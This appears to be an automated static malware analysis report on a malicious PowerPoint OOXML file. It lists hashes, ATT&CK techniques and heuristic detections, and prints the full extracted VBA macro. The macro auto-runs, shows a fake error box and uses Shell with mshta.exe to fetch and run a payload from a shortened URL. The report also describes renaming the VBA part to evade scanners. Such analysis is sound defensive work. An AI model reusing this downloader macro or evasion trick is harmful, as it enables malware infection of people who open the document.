Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a6f54e838be3aef5…

MALICIOUS

Office (OOXML)

5.9 KB First seen: 2021-11-07
MD5: 09c26218b0f097163014cf29ac3e82bb SHA-1: fd7c72d92fff760a4c50f11d742269a0cc5779b0 SHA-256: a6f54e838be3aef592da6e2929c920ff3d691ec7bace5e682f697289e5ddc6ef
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The OOXML document contains a VBA macro with an Auto_Open subroutine. This macro constructs and executes a command using mshta.exe to download and run a payload from the URL "the embedded link". The use of Shell() and a LOLBin reference indicates a high likelihood of second-stage execution.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/djaisdjaidjwalijaw.b)
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Debug.Print Z
Debug.Print (Shell(X + Y + Z))
End Sub
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Dim Z As String
X = "mshta.exe "
Y = "https://www.bitly.com/"
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "Module1"
Sub Auto_Open()
Debug.Print MsgBox("ERROR!", vbOKCancel); returns; 1
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitly.com/ In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 319 bytes
SHA-256: 8fe011ea102a2270f2ffadd127d28aff44650e829121cad13f386a51c284fb73
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Auto_Open()
Debug.Print MsgBox("ERROR!", vbOKCancel); returns; 1
Dim X As String
Dim Y As String
Dim Z As String
X = "mshta.exe "
Y = "https://www.bitly.com/"
Z = "kddjdkwodkwokdwodwwdkii"
Debug.Print X
Debug.Print Y
Debug.Print Z
Debug.Print (Shell(X + Y + Z))
End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/djaisdjaidjwalijaw.b 12800 bytes
SHA-256: 5f5e01cf5aa411931a54c3d0ab3a7b9a64d36158fe8c67625d3c0b1bcadecffe

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